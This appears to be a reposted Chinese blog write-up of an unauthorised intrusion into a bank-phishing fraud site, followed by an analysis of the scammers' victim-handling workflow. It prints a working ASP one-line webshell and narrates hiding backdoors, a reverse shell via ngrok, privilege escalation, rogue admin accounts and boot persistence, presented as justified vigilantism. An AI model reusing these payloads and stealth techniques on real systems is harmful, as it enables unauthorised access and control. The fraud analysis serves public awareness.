3

记一次拿下网络诈骗者站点的全过程与套路分析

 2 years ago
source link: https://knightyun.github.io/2021/09/04/exploit-take-down-swindle-website
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

这是一则漫长又跌宕起伏的故事,小伙伴们请随意就坐,自备茶点;全文包含信息收集与攻克的详细全过程,以及对该类型诈骗思路的分析拆解,以提高防范意识;

0x00 梦的开始

那是一个阳光明媚的晌午,日常的搬砖过程中收到一封公司邮件,

email-send

看到这熟悉的措辞,又瞄了一眼下面的附件内容,熟悉的气息扑面而来,就顺手保存了下来;

email-qrcode

随即管理员立马发现了不对劲,追发邮件说员工账号被盗用,不要轻信邮件内容,原始邮件也被标为垃圾邮件(上次的类似邮件删的太突然,事情还没开始就结束了,这次总跑不掉了( ̄_, ̄ ),作为当代好青年,五星好市民,是时候发扬一下活雷锋精神了);

而这张图片,就成了一切梦开始的地方……

0x01 信息收集

0x001 审查域名

起始信息非常有限,开局一张图,剧情全靠猜,不过这个入口也足够了,先拿出家伙解析下二维码中的信息:

email-qrcode-analyze-url

没有额外的数据,只有一串网页链接,看着这域名名称,嘴角微微上扬;先去解析一下域名:

cmd-nslookup

到写文为止已经不能解析该域名了,整顿的倒挺快,不过好在之前有解析备份,域名万变不离其 IP,并且也没有发现使用 CDN,流量全部通往源站;顺手查了一下,是香港的服务器:

front-query-ip

然后 whois 一下,搜集相关信息:

cmd-whois

不出意外,又是用的三方注册机构,没有额外的有用信息,不过这个注册时间挺有意思,本月的,骗子同志动作还蛮快的;接下来只能去对方网站瞅瞅;

front-west-whois

又是西部数码,看来有些备受青睐,网站提供隐私保护机制,注册信息不对外公开,暂时也获取不到有用信息;

0x002 审查 IP

现在唯一的线索就是之前解析的那个 IP 了,一步一步来,先 nmap 扫一波端口服务先,收集更多信息:

cmd-nmap-port-services

嗯还行,看见了几个熟悉的身影,继续走流程,分别跑下默认脚本分析下端口服务信息:

cmd-nmap-default-script

没有探测倒匿名 ftp,http 支持 TRACE,没有设 httponly,有执行 XSS 的机会,小本本先记下;然后老规矩,默认字典定向爆破一轮先,尝试还是要有的,万一那啥了呢:

cmd-nmap-ftp-brute

剩余端口也都试了,意料之中,没啥收获,看来基本的密码强度意识还是有的;另外之前的扫描扫描中有出现 8888 这个端口,记得这个是服务器管理工具宝塔面板的默认后台入口,访问一下试试:

front-baota-login-pre

有入口校验,起码证明确实是用的宝塔面板,不过这个爆破应该是不可能去爆破的,记得入口 url 后缀默认大概是 8 位任意大小写字母与数字的组合,就是 62 的 8 次方,大约两百万亿,就挺秃然的,先放在后面再说吧,接下来,继续转战其他方向;

0x003 审查页面

来都来了,既然扫码是跳转页面链接,并且端口也开放了 80 和 443,当然要打开网页访问一下康康,同时开启开发者工具,看看有啥小动作:

front-home-mobile

哎呀,还识别机型,这靶向用户还挺明确,那就切成移动端看看:

front-home-index

emm……怎么说呢,有那味儿了,咋一看还真看不出来,模仿的还挺全(不过胆也确实大,政府网站都搞),然后看了下接口返回的头信息,发现使用的 Windows IIS 7.5 + ASP.NET 的服务:

front-home-headers

这个先记着,后面漏洞挖掘用得着,后面试了一圈发现页面都是空壳,只有那个办理入口的弹窗能跳转,跳转页面是:

front-apply-btn

描述的还挺全,好让大家都能对号入座,这里点下立即申请:

front-input-name-id

然后就开始了个人信息收集的一条龙服务,先是姓名和身份证号,另外,注意看旁边显示加载的 PNG 头图的名称,额难道这是开发者的疯狂暗示??这里随便输入条信息进去看看:

front-input-name-error

居然还有校验,打个断点看看源码逻辑:

front-input-name-breakpoint

一个号码校验都整的这么齐全,还真是费心了,不过前端的校验都是纸老虎,这里也不用什么偏方了,直接用开发者工具的源码编辑覆盖功能,直接给校验函数返回 true

front-input-name-override

然后校验通过,进入下一个步骤:

front-input-bank

这里是要收集银行卡号和密码以及绑定的手机号,唉,意图很明显,哪有打款转账还要对方密码的操作,这里也准备随便填下,银行卡校验用同样的方法绕过一下,不过在其中一个加载的脚本文件中发现了有意思的东西:

front-input-bank-js-source

开发者连源码中的调试数据都不删除,调的阿里支付的接口,正好借对方调试账号用一下下(再次证明了作为开发者,生产环境中代码移除注释的重要性=_=):

front-input-bank-amount

然后进入了下一个页面,再次收集姓名和证件号,以及银行卡余额(这里应该是对用户真实情况进行摸底以及其他未知操作),下意识查了自己的余额,唉果然这里连撒谎的勇气都没有 T_T,马上填完进入下一步吧:

front-input-bank-amount-value
front-submit-loading

然后页面会一直加载不断刷新,再无其他跳转,应该是给诈骗者提供操作的时间,那么网页的相关操作就暂时告一段落,大致了解了一些操作步骤,接下来探索一下其他方向;

0x02 漏洞挖掘

0x001 SQL 注入

信息收集差不多了,现在来逐个击破,先从最熟悉的网页端入手,前面审查页面时有不少提交表单和输入框,这些都是潜在的攻破点;挖掘技术哪家强,先祭出神器 Burp,拦截一下之前提交银行卡号密码的表单数据:

burp-form-field

然后对字段值进行简单注入尝试,检查报错信息:

burp-sql-inject-simple

没反应,应该是有基础校验,再换个:

burp-sql-inject-union-select

有反应,似乎看到了希望,虽然返回乱码了,应该是对方程序处理问题,不过看句式像是 SQL 报错,又接连试了几个,也是同样的返回,那么剩下的冗杂工作,就交给工具进行吧,掏出 sqlmap 跑一波:

cmd-sqlmap

后面换了几轮参数也没成功,应该是过滤机制比较周到,然后在测试另一个页面时,才发现了那段报错信息的原本含义:

burp-sql-inject-err-res

嗯还是太年轻,会错意了,应该是程序识别到了字段值中的 SQL 关键字;另外回想起之前扫描到服务可能隐含 TRACE 相关漏洞,测试了下,应该是服务端暂未支持:

burp-trace-method

然后又想了想,针对密码字段进行数据库表字段设计时,应该会考虑其字符位数低的特点,减少空间占用,因为这是银行卡密码,都知道是 6 位数字,这里传个大数看看有没有惊喜:

burp-post-mass-data

尴尬,是有惊无喜,应该是没有特别处理,直接反馈为服务端错误;后面又陆续换了几个页面,测试下来都没太大收获,场面又一度陷入僵局,只能又暂时转移战场;

0x002 Metasploit 渗透

终于到 Metasploit 出场了,蓄势待发,

msf-banner

先搜一下 IIS 的已知漏洞:

msf-search-iis

有不少,那就先调几个条件匹配的试一波,这里只放个示例,就不一一展示了:

msf-run-ektron

然后就是其他几个端口、服务,挨个测试一遍,也没有什么突破,看来补丁都打的挺全;目前又暂时陷入了死胡同,虽然 msf 还有不少模块可以利用,不过暂时不准备继续深入试探了,因为想起来还有另外一件重要的事情还没做;

0x003 站点目录枚举

站点目录扫描,这件重要的事怎么能少得了,可供选择的工具很多,如 dirbuster 等,这里我们使用 Burp SuiteEngagement tools 里的 Discovery content 工具,进行目录爆破:

burp-dirbus-menu
burp-dirbus-config

其内置的大量字典已经足够使用了,不过涉及网络请求,这个过程也是异常漫长,不过可以后台跑着,不影响做其他事,这里就直接贴一个扫描结果:

burp-dirbus-sitemap

直呼好家伙!不扫不知道,出来吓一跳,居然错过了这么多隐藏入口,小本本记下先,后续挨个探索,不过呢视线情不自禁地锁定到了名为 upload.asp 这个文件上,开发者这么明显的暗示就无需我多言了(ㄟ( ▔, ▔ )ㄏ);

burp-upload-get

直接访问没什么返回数据,难道是方法不对?换成 POST 表单文件数据再试试:

cmd-curl-upload-file

看来这样上传也没用,也许还要额外的校验参数之类的,上面不是刚扫了一堆没见过的页面嘛,现在回过头去挨个分析下页面源码看看,也许会有收获:

front-upload-source

果然,在其中一个页面中,发现了调用这个上传接口的表单,是个隐藏元素,结合页面内容,应该是用于收集用户上传的某些证件信息,身份证照片之类的,然后看了对应的 js 源码,果然存在一些校验和接口参数:

front-upload-js-fn

这里去分析调用这些函数再上传文件太费劲了,这不是个隐藏表单嘛,直接改下代码通过 UI 操作多轻松 (¬‿¬):

front-upload-show-form

样子虽然简陋了点,管他的,能跑起来就行了,上传个文件试试:

front-upload-done

然后再访问看看效果:

front-upload-access

好家伙,大写的激动!嘴角再度微微上扬,不过先冷静下,再试试有没有文件类型校验,服务是 ASP.NET 的,那就简单传个 asp 程序试试,下面的代码会在页面输出站点运行服务的名称:

<% response.write(Request.ServerVariables("SERVER_SOFTWARE")) %>

然后上传上去看看:

front-upload-asp-info

这……俺还能说什么呢,此时无声胜有声 $_$ ,不过这并不是终点,这只是一个良好的起点,一切才刚刚开始 (¬‿¬);

0x004 意外收获

其实网站目录中还有一个很让人在意,就是叫 jieliuzi 这个目录,虽然摸透了对象开发者喜欢汉语拼音命名的习惯,但是这个含义始终未能参透,连蒙带猜外加输入法都未得其解,甚至后面进去一探究竟后没没想明白 =_=,中华文化真是博大精深;不管了,看看页面访问结果:

front-jieliuzi-login

是个登录页,十分简洁,而且这其实是个 PC 站点页,骗子在某些方面也挺有情调的,这里不作展示是由于整图过于刺激(怎么说呢,额,这登录框真白),怕过不了审;另外,注意一下这个网页最上面的标题名,第一反应就是应该不会是简单的字面意思,听着也不像啥好词儿,为此专门去百度了一下:

front-whaling-meaning-1
front-whaling-meaning-2

em……又长见识了,原来诈骗也能是一门学问,再结合最开始那张二维码的来源(企业邮件),看来是这么个意思了,大家平时也都注意警惕一下;

随后试了下登录,没有验证码或超时超次数验证这些,并且也没挖掘到可利用的 SQL 注入点,这种情况就该 BurpIntruder 出场了,后台登录名一般都是 admin,密码就祭出 rockyou.txt 跑一波先:

burp-jieliuzi-intruder-config
burp-jieliuzi-intruder-running

这也是一个比较漫长的过程,不过一会儿之后再去看的时候就发现了变化:

burp-jieliuzi-intruder-sql-warn

需要留心的就是这里的返回数据长度,因为正常讲大部分试的密码都是错误的,服务器响应的数据大小也都是一样的,突然出现不一样的长度多半就出现了转机,这里看来是识别出了 sql 语句,和之前一样报错,然后看最上面那条:

burp-jieliuzi-intruder-find

整个列表中就这一条最特别,看返回也是 302 重定向,看来应该是密码对了跳转进页面了,然后看这密码,也是够随意的,看着简单,猜的时候谁又能想到呢,登录进去看看:

front-jieliuzi-order-list
front-jieliuzi-ip-list

……,唉,怎么说呢,应该是触目惊心吧,虽然数量没有一些媒体平台时不时报道那些的那么夸张,但也不是一个小数目了,而且每一处记录的银行卡账号、密码、身份证号、手机号、验证码、IP位置这些,都是近乎真实的;我不是正义的制裁者,也没有多少执行正义的力量,最多就热心的帮他们删个库再跑路,个人的力量太小了,所以这些还是都后面交给警察蜀黍处理吧,正义可能会迟到,但不会缺席。

0x03 获取权限

0x001 Get webshell

暂时先抛开题外话,上面进行到了文件上传这一步,文件上传可以意味着很多事情,可执行文件的上传便可以实现获取服务器的系统操作权限,当然这里的网页应用程序的相关权限一版很低,提权的事就是后话了;当前任务是拿下网站操作权限,即 webshell,继续走流程,先上传个简单的 asp 版一句话木马

<% execute(request("pass")) %>

然后就该 亮剑 了:

antsword-add-data-menu
antsword-add-data-detail
antsword-add-data-success

搞定,进去康康:

antsword-wwwroot-list

文件相关操作:

antsword-wwwroot-list-menu
antsword-file-edit

数据库相关操作(对应之前后台页面的展示数据):

antsword-db-bank

命令行终端相关操作:

antsword-cmd-home

甚至获取 Windows 系统信息:

antsword-cmd-systeminfo

好了,这不啥都有了,还要啥自行车,但也不能止步于此,虽然现在拥有了对这整个站点的操作权限,包括文件及数据库的增删改查等,但也不至于为了正义用爱发电,每日蹲点删库删站,我们的目标还在山的那边 (ง •_•)ง

0x002 Backdoor

俗话讲,要生于忧患,虽然现在入口打通了,但是凡事都要留一手(我更喜欢留多手),防止木马那天被管理员察觉并清理就尴尬了,所以找几个隐蔽的位置,再上传几个,比如平时几乎不被注意的 css 或图片等静态资源文件夹,js 库文件等,文件命名上也可以花点心思,模仿已有文件或者配置文件之类的,使人有一种一眼看上去是正常文件的幻觉(+_+);

antsword-backdoors

当然,还可以利用一种技术,简单讲就是 Windows 中我们熟知的隐藏文件,一般一些软件或系统的配置文件会通过这样的方式隐藏,防止普通用户误删改,查看也能简单,像下面这样勾选一些就都出来了:

antsword-explorer-hidden-file

所以我们这里可以通过 shell 命令把指定文件隐藏掉,使得其不会被轻易发现:

antsword-cmd-attrib

0x003 Get shell

目前我们获取到的还只是 webshell,虽然可以模拟执行终端命令,但是这些都是通过上传的 asp 后门程序执行的,就是说每步操作都会发起 http 请求,防止被平台记录,需要获取系统 shell,即上传系统可执行文件(如 .exe 文件,就是俗称的木马),至于如何生成,就需要 metasploit 再次登场了;

这里又涉及一些东西,getshell 的木马一般有两种,正向连接和反向连接,基础的认知可能是将程序上传至机器,然后运行就会后台监听某个端口,等待外部的连接,连上后就可以通过两端的交互达到控制系统,当然前提是系统防火墙没开或者允许该端口放行,而通常服务器都会开启防火墙并过滤端口,只放行指定的几个;

所以后面出现了第二种类型,反向连接,或者叫反弹 shell,简单讲就是第一种类型反转一下,不是目标机器等待我们连,而是我们外部的机器等待目标机器来连接,这解决了防火墙端口的限制,因为防火墙一般不会特意去限制出站端口,当然这种类型又增加了额外的限制,首先我们需要一台具有公网 IP 的机器,像平常这种连着 WiFi, 深埋于 n 层路由下的设备,基本可以放弃了(使用端口转发也需要运营商提供公网 IP),另外就是需要目前机器可访问公网,因为有些服务器考虑安全因为是在内外下的,用反向代理等方式传输流量,无法访问外网;

由于不清楚对方防火墙情况,先用反向连接看看,手边暂时没有公网机器,就先用 ngrok 转发一下端口流量,先启动服务:

cmd-ngrok-running

从之前收集的数据中得知,对方机器是 x64 Windows 系统,那么这里就直接用 msfvenom 生成对应的 payload(暂时先不考虑加密加壳这些,传上去看看是否被杀毒再说):

cmd-msfvenom-generate-api

reverse_tcp 是反向连接,bind_tcp 是正向连接,连接地址填 ngrok 提供的链接,端口填链接对应的,然后生成执行文件,最后上传到对方站点某个隐蔽的目录下:

antsword-upload-api
antsword-upload-api-success

然后在 msf 中启动监听程序,等待对方连接,地址填本地,端口填之前 ngrok 中设定的本地端口,使用的 pyaload 要和之前 msfvenom 中配置的一致,不然会连接失败;完成后,一旦目标上的程序启动,首先就会访问 ngrok 域名和对应端口,ngrok 服务再把传输数据转发到本地的监听端口中,数据就通过这一层中介进行双向传输:

msf-run-reverse-listener

然后在 webshell 中执行它:

antsword-cmd-run-api
antsword-cmd-list-api

运行成功,这是切换回 msf 一会后就会有所反应,表示连接成功:

msf-reverse-connected

现在再查看 ngrok 服务就回显示有一条连接,表示可以进行通信了:

cmd-ngrok-connected

现在连接成功进入的操作界面是 meterpreter,这是 metasploit 提供的有许多拓展功能的集成终端,类似于 cmd、shell,但是功能更强大,可以执行切换目录、获取系统信息、操作进程、上传下载文件、进一步渗透等操作,甚至在拿下 system 权限后,还能解锁控制鼠标键盘、屏幕截图或实时预览等高级功能,这里先查询下基础信息:

meter-getinfo

和之前的虚拟终端一样,当前操作用户是 IIS,当然这里想用 cmd 终端操作也是可以的,执行下 shell 命令进入系统 shell,操作和命令与系统命令提示符没有两样:

meter-shell-command-test

初次进入可能会出现中文字符乱码情况,因为 cmd 默认使用的字符集问题,手动切换成 UTF-8 的 65001 就行了,可能唯一不太方便的地方,就是没有集成历史记录的功能,要重试上个命令得全部重打一遍,毕竟是网络转发数据,不应要求太多:

0x004 Get system

如上面所讲,目前获取到的只是普通账户的 shell,虽然有一定的终端操作权限,但还是远远不够的,会有诸多限制,比如无法操作一些服务、增删系统账户、访问系统目录等等,那么接下来的操作就是 shell 提权了,或者叫 getsystem,这也是 meterpreter 中的一条命令,功能和描述一样,会尝试多种漏洞进行权限提升以获取 SYSTEM 权限,只不过试了下似乎都没有成功,只能另寻他法:

meter-getsystem-err

这里值得说的是,可能有小伙伴会有疑惑,认知中 Windows 系统中权限最高的不应该是超级管理员 Administrator 吗,为什么一直在强调获取 SYSTEM 账户权限,其实严格来讲,Administrator 账户虽然成为管理员,其实权限并不是最高的,也有很多它做不了的事,举个简单的例子就是删除系统账户 Guest

cmd-admin-del-guest

以及其他一些系统层面的事,administrator 也做不到,而这些高层次的操作都由 SYSTEM 账户来完成,虽然在账户设置里面从没见过它,但它是确确实实存在的:

explorer-system-account

就像网站服务其实也有个对应的 www 账户一样,应该没人曾经登录过它吧;

前面讲获取 system 权限使用 getsystem 不奏效,那么就继续试探一下其他路子,也就是令牌窃取,令牌指的登录令牌,类似登录网站要用的 cookies 或者 token,而 Windows 中存在两种令牌:Delegation Tokens(授权令牌) 和 Impersonation Tokens(模拟令牌),前者用于交互式的登录,如直接或使用远程桌面,输入账号密码登录进系统,而后者用于非交互式的会话中,访问网络驱动或其他域登录脚本程序;

这里要利用的正是模拟令牌,窃取的过程有些类似网站里的 cookies 窃取,由于令牌在重启系统之前,会一直被保留,所以有账户登陆过的话,其令牌有机会被冒充使用,而且有授权令牌登录的账户注销的话,令牌也会转化为模拟令牌,同时其原本的相关权力都会保留;

这里接下来就先使用 incognito(伪装、隐瞒的意思,偷盗者总是会先隐藏起来嘛)插件,进行令牌盗取,再用 list_token 命令查询当前能获取的令牌情况(数量因当前的 shell 权限而定):

meter-list-tokens

这里可以看到可盗取令牌的账户,要窃取的话就使用 impersonate_token 命令:

meter-impersonate-iusr

虽然可以窃取成功,但试了下这个账户的权限也不高,尝试性的试了下 system 账户也失败:

meter-impersonate-try-system

所以只能再尝试其他提权漏洞了,这里就先用 bg 命令把当前 meterpreter 会话切换至后台,回到 msf 界面,使用一个已知的 Rotten Potato 提权漏洞:

msf-use-rotten-potato

需要的唯一参数是会话 id,正好可以利用刚才的 meterpreter 会话,然后还需要设置一个 payload,这里之前有了解过,目前机器可以访问公网,而且虽然有使用防火墙过滤端口,但是似乎一直开着这么一群端口:

meter-netstat

这是远程 RPC 需要使用的一系列端口,所以盲猜机器会开放 49150-49160 这么一个范围的端口,那么就见缝插针,选一个没被占用的用于开启监听,这样就能直接使用正向连接了,而不用麻烦的再次使用反向连接:

msf-config-rotten-potato

地址填目标机器的地址,这样运行后就能自动连接到目标机器的监听端口上,这里先运行一下试试能不能成功:

msf-run-rotten-potato-success

哟西!竟然比想象中的顺利,就不多解释了,检查一下权限和令牌先:

msf-rotten-potato-getsystem-success

Nice,成过窃取到了 system 账户的令牌,以对方身份登录成过,接下来就可以试试权限了:

meter-shell-system-add-user

进入 shell 后账户确实变成了 SYSTEM,也能增加或删除账户了,那么至此,成过拿下系统最高权限,成功 getsystem;

0x005 权限测试

回想起前面有说过,高权限可以获取屏幕截图或者实式预览,那么这里来就看一下下:

meter-screenshot-saved

成功截图到了指定文件,打开看看:

meter-screenshot-view

虽然分辨率有点低,但大致是个登录界面的模样,然后实时预览看看,由于这个要启动图形服务,就在虚拟机里跑一下:

meter-screenshare

大晚上的,应该没啥人登录,,不过光是预览还不够,现在是可以直接远程登录进去的,只是需要额外的一些操作,先建立一个账户并分配管理员权限(即加入 Administrators 用户组),名字同样可以取得有一定迷惑性:

meter-add-user-sys

不过光是这样还仍没有远程登录的权限,需要将用户分配进远程桌面用户组才具有登录权限:

meter-add-sys-rdp

然后这里本来是要开启远程桌面服务的(TermService),结果查询发现是已经开启的,然后一路追踪到了服务对应的进程,进程对应的端口:

meter-shell-find-termservice

居然默认端口从 3386 改成了 10086,有意思,之前端口扫描默认常用端口,难怪没有扫出来,既然现在用户和密码都有了,登录进去看看:

rdp-connect-pannel
rdp-connecting
rdp-desktop-view

唉,都舍不得掏钱整台配置好一点的,一点都不懂得投资 ㄟ( ▔, ▔ )ㄏ,没意思,擦擦屁股溜了溜了(~ ̄▽ ̄)~;

0x005 System Backdoor

老规矩,任何阶段都需要留一手,并且现在 system 权限,因此只要留下后门那么再次连接就直接具有 system 权限,那么话不多说直接上传,文件名同样可以取得有一定迷惑性:

meter-upload-conf

然后配置程序开机启动:

meter-shell-reg-add

当然,要想再留一手就可以再创建个系统服务,只是生成的 payload 要用 service 类型的,不然会启动失败:

cmd-gen-payload-exe-service

然后上传后在目标机器创建服务,配置开机自启,也可以再额外配置启动失败后自动重启服务,或者最近调用执行其他程序,最后再手动启动一次服务:

meter-shell-sc-create

至此,大部分流程基本结束,拥有系统权限可以做更多的拓展渗透,这些都是后话;

0x04 套路分析

0x001 作案工具

目前为止一共收集到两个后台,一个宝塔面板和一个捕鲸系统后台,宝塔之前是由于有登录校验,没有获取到登录入口,现在就轻松了,用宝塔自带命令 bt default 查看一下默认入口和账号信息:

meter-baota-default

额……者用户名难道是要暗示自己输得起?待会用这个账号和密码登进去看看,另外在查看目录时,又发现了有意思的部分:

meter-baota-hosts-list

这里还列出了不少站点,难道现在诈骗也搞分布式作案了 ( $ _ $ ),或者微诈骗?算了后面有机会再去一锅端了,先登录进去看看:

front-baota-login-default

看了默认密码被换调了,虽然现在有权限能直接改掉密码,为了不打草惊蛇,就先放一放,反正进去也都是一些可视化服务器配置,毕竟现在服务器的系统权限都攥在手上呢,不必着急,主要先分析下另外一套系统,那才是骗子们的主要作案工具;

可以观察页面存在两列功能栏,分别罗列着骗子能远程执行的操作:

front-jieliuzi-func-1
front-jieliuzi-func-2

两列功能类似,只有个别区别,这里贴个图对比一下,感觉功能 2 应该是 1 的升级版,多加了几个功能,不过后面发现并不是这么简单,二者都能使用,这样是为了方便骗子连环套取用户信息:

front-jieliuzi-func-compare

0x002 诈骗流程

最前面的捕鲸邮件这些就不说了,就是邮箱盗号后广发邮件撒网罢了,现在主要来看下上面的一堆功能项,为了行骗过程操作方便,大部分功能应该都是字面意思,还记得最开始审查页面的时候,最后是停在了一个加载页上面,那么应该就是衔接这里的操作的,不同的功能项会触发不同的返回结果:

front-submit-loading

这里空讲可能没什么概念,功能汇总有十几二十 个,就挨个给大家实际演示一遍,从骗子的视角过一遍大致就能体会了,还是用之前的表单数据提交,然后这部触发不同的功能后回去看结果:

“未通过”

未通过就是上面的加载页面,是默认状态,也是处理不通过返回之前的中转页面;

“通过–杀它”

标记通过后会跳转提交验证码的页面,这里获取验证码只是个幌子,真实情况是骗子在向银行发起请求获取验证码,然后骗取用户提交:

front-res-1-pass-kill

“验证码超时失效,请返回重新获取(不显示金额)”

如果你这边操作慢了,导致骗子那边输入超时,就会提示让你重新操作获取提交一次(想的真周到=_=):

front-res-2-msg-timeout

“通过=【显示余额】”

只是不是有提供余额信息嘛,这里就提供用户确认再次骗取二维码(让人觉得像是银行正常查询出来的):

front-res-3-pass-show-amount

“余额查询”

如果骗子那边执行什么操作核实到金额不对时,就是提示用户重新填写正确金额:

front-res-4-amount-query-1
front-res-4-amount-query-2

“取款密码错误”

如果发现取款密码不对,也会重新让用户提供:

front-res-5-withdraw-passwd-wrong-1
front-res-5-withdraw-passwd-wrong-2

“手机号码错误”

然后是手机号:

front-res-6-phone-wrong-1
front-res-6-phone-wrong-2

“银行卡号错误”

银行卡号:

front-res-7-bank-wrong-1
front-res-7-bank-wrong-2

“身份证号错误”

姓名和身份证号:

front-res-8-name-id-wrong-1
front-res-8-name-id-wrong-2

“审核通过”

然后是审核通过,让你耐心等待结果(等待骗子把钱套走跑路 $_$):

front-res-9-pass-over

“不支持,请更换名下其他银行认证”

如果发现某些银行卡不太好利用,就会提示更换:

front-res-10-not-support-bank

“换【信用卡】”

换信用卡:

front-res-11-change-credit-card

“换【储蓄卡】”

换储蓄卡,反正对方为了达到目的,会反复榨干你的每一处积蓄,比大多数服务业都贴心……

front-res-12-change-debit-card

“有效期和后三位/错误”

然后这个是信用卡相关的信息,和密码一样重要,也要注意不要轻易透露出去:

front-res-13-change-valid-date-1
front-res-13-change-valid-date-2

“【建设银行】==获取授权码”

使用建设银行应该是需要额外的授权码,骗子也会想办法搞到手:

front-res-14-ccb-auth-code-1
front-res-14-ccb-auth-code-2

“【网银密码】”

如果存在网银,也会骗取登录密码进行远程套现:

front-res-15-input-ebank-passwd-1
front-res-15-input-ebank-passwd-2

“请保持银行卡内余额大于5000验证”

下面的就有意思了,如果骗子觉得你卡内金额太少(穷),就会提示你再多搞点过来:

front-res-16-need-account-5000

“请保持银行卡内余额大于10000验证”

或者骗子心情好,来个狮子大开口:

front-res-17-need-account-10000

“验证码超时失效,请返回重新获取(显示余额)”

然后这是验证码超时提示金额,和之前差不多:

front-res-18-msg-timeout-show-amount-1
front-res-18-msg-timeout-show-amount-2

“只支持工、平、浦、招、光储蓄卡”

这里本来应该是提示支持指定银行,不过……看来天下开发者总是有不同的环境,类似的处境,唉,同情那位仁兄3秒:

front-res-19-only-support-some-banks

“下载 apk 拦截马”

这里也一样,本来该骗用户下载安卓木马的,但似乎也还没准备好:

front-res-20-download-apk-trojan-1
front-res-20-download-apk-trojan-2
front-res-20-download-apk-trojan-3

“联系在线客服”

front-res-21-contact-online-service

“信息不一致,请返回从新填写正确的预留信息”

察觉用户输入信息不一致,重新填写:

front-res-22-info-inconsistent

“扣款–打枪”

这里也有意思,基本就是骗子已经从用户手上套现了,为了安抚民心,整这一大段话提示用户这是流程的基本操作,以及后续会返还之类的(信你个gui):

front-res-23-stole-money-1
front-res-23-stole-money-2

“【先回复打字,再设置此功能键】”

然后这是最后一项了,大致就是骗子自己编话术,然后返回提示用户:

front-res-24-self-define-reply-backend
front-res-24-self-define-reply

0x05 结语

正道的光可以迟到,但不能缺席,由于目前所收集的诈骗团伙相关信息还并不充分,后续会想办法陆陆续续收集,再交由警方处理

zhapian-jubao-online

最后呢,其实也并没有什么额外要说的,因为防骗或安全意识这些大道理,国家政府再到媒体个人,每天都在强调,稍微留心一下就行了,从这整个过程看来(攻克过程不重要,可以忽略),贬义的讲,骗子考虑业务场景还挺周到的,也有不少地方在利用人的弱点,就比如之前图中那些接近官方的环境和话语,大家还是得注意分辨;

然后就是最最重要的,因为那封邮件是一切的开端,注意提高账户密保和安全性是一方面,比如加个登录二次验证什么的,另一方面就是不要轻信任何信息,涉及链接或二维码这些的,即使来自身边熟悉的人,因为他们可能也只是受害者链上的一个节点而已。

country-fanzha

另外,额外宣传一波 (¬‿¬),国家出台的反诈中心APP,除了风险检测与线上举报外,更有相当多的真实案例公布更新,可下载备用。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK